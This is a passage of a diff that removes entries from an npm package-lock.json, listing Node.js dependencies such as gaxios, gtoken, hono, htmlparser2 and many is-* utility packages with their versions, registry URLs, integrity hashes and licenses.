"^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis-common/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis-common/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/googleapis/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/googleapis/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "license": "ISC" - }, - "node_modules/gtoken": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-7.1.0.tgz", - "integrity": "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw==", - "license": "MIT", - "dependencies": { - "gaxios": "^6.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/gtoken/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/gtoken/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/has-property-descriptors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", - "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", - "license": "MIT", - "dependencies": { - "es-define-property": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hasown": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", - "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/hono": { - "version": "4.12.12", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.12.tgz", - "integrity": "sha512-p1JfQMKaceuCbpJKAPKVqyqviZdS0eUxH9v82oWo1kb9xjQ5wA6iP3FNVAPDFlz5/p7d45lO+BpSk1tuSZMF4Q==", - "license": "MIT", - "engines": { - "node": ">=16.9.0" - } - }, - "node_modules/hosted-git-info": { - "version": "9.0.3", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-9.0.3.tgz", - "integrity": "sha512-Hc+ghLoSt6QaYZUv0WBiIvmMDZuZZ7oaDvdH8MbfOO4lOsxdXLEvuC6ePoGs9H1X9oCLyq6+NVN0MKqD+ydxyg==", - "license": "ISC", - "dependencies": { - "lru-cache": "^11.1.0" - }, - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/html-entities": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.6.0.tgz", - "integrity": "sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/mdevils" - }, - { - "type": "patreon", - "url": "https://patreon.com/mdevils" - } - ], - "license": "MIT" - }, - "node_modules/html-escaper": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", - "dev": true, - "license": "MIT" - }, - "node_modules/html-to-text": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/html-to-text/-/html-to-text-9.0.5.tgz", - "integrity": "sha512-qY60FjREgVZL03vJU6IfMV4GDjGBIoOyvuFdpBDIX9yTlDw0TjxVBQp+P8NvpdIXNJvfWBTNul7fsAQJq2FNpg==", - "license": "MIT", - "dependencies": { - "@selderee/plugin-htmlparser2": "^0.11.0", - "deepmerge": "^4.3.1", - "dom-serializer": "^2.0.0", - "htmlparser2": "^8.0.2", - "selderee": "^0.11.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/htmlparser2": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", - "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", - "funding": [ - "https://github.com/fb55/htmlparser2?sponsor=1", - { - "type": "github", - "url": "https://github.com/sponsors/fb55" - } - ], - "license": "MIT", - "dependencies": { - "domelementtype": "^2.3.0", - "domhandler": "^5.0.3", - "domutils": "^3.0.1", - "entities": "^4.4.0" - } - }, - "node_modules/http-errors": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", - "license": "MIT", - "dependencies": { - "depd": "~2.0.0", - "inherits": "~2.0.4", - "setprototypeof": "~1.2.0", - "statuses": "~2.0.2", - "toidentifier": "~1.0.1" - }, - "engines": { - "node": ">= 0.8" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/http-proxy-agent": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-9.0.0.tgz", - "integrity": "sha512-FcF8VhXYLQcxWCnt/cCpT2apKsRDUGeVEeMqGu4HSTu29U8Yw0TLOjdYIlDsYk3IkUh+taX4IDWpPcCqKDhCjA==", - "license": "MIT", - "dependencies": { - "agent-base": "9.0.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/http-proxy-agent/node_modules/agent-base": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", - "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", - "license": "MIT", - "engines": { - "node": ">= 20" - } - }, - "node_modules/https-proxy-agent": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/human-signals": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-8.0.1.tgz", - "integrity": "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/iconv-lite": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", - "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/import-in-the-middle": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.6.tgz", - "integrity": "sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw==", - "license": "Apache-2.0", - "dependencies": { - "acorn": "^8.15.0", - "acorn-import-attributes": "^1.9.5", - "cjs-module-lexer": "^2.2.0", - "module-details-from-path": "^1.0.4" - } - }, - "node_modules/index-to-position": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", - "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "license": "ISC" - }, - "node_modules/ini": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", - "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", - "dev": true, - "license": "ISC" - }, - "node_modules/ip-address": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", - "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "license": "MIT", - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/is-alphabetical": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", - "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-alphanumerical": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", - "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", - "license": "MIT", - "dependencies": { - "is-alphabetical": "^2.0.0", - "is-decimal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-core-module": { - "version": "2.16.2", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.2.tgz", - "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hasown": "^2.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-decimal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", - "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-docker": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz", - "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==", - "license": "MIT", - "bin": { - "is-docker": "cli.js" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-expression": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-4.0.0.tgz", - "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", - "dev": true, - "license": "MIT", - "dependencies": { - "acorn": "^7.1.1", - "object-assign": "^4.1.1" - } - }, - "node_modules/is-expression/node_modules/acorn": { - "version": "7.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", - "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-hexadecimal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", - "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/is-inside-container": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz", - "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==", - "license": "MIT", - "dependencies": { - "is-docker": "^3.0.0" - }, - "bin": { - "is-inside-container": "cli.js" - }, - "engines": { - "node": ">=14.16" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-interactive": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", - "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/is-obj": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", - "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/is-plain-obj": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", - "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-promise": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", - "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", - "license": "MIT" - }, - "node_modules/is-regex": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", - "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "gopd": "^1.2.0", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-regexp": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", - "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-stream": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-unicode-supported": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", - "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-url-superb": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-url-superb/-/is-url-superb-4.0.0.tgz", - "integrity": "sha512-GI+WjezhPPcbM+tqE9LnmsY5qqjwHzTvjJ36wxYX5ujNXefSUJ/T17r5bqDV8yLhcgB59KTPNOc9O9cmHTPWsA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-wsl": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-3.1.1.tgz", - "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==", - "license": "MIT", - "dependencies": { - "is-inside-container": "^1.0.0" - }, - "engines": { - "node": ">=16" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/isarray": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", - "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", - "license": "MIT" - }, - "node_modules/isbinaryfile": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-5.0.7.tgz", - "integrity": "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ==", - "license": "MIT", - "engines": { - "node": ">= 18.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/gjtorikian/" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "license": "ISC" - }, - "node_modules/istanbul-lib-coverage": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", - "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=8" - } - }, - 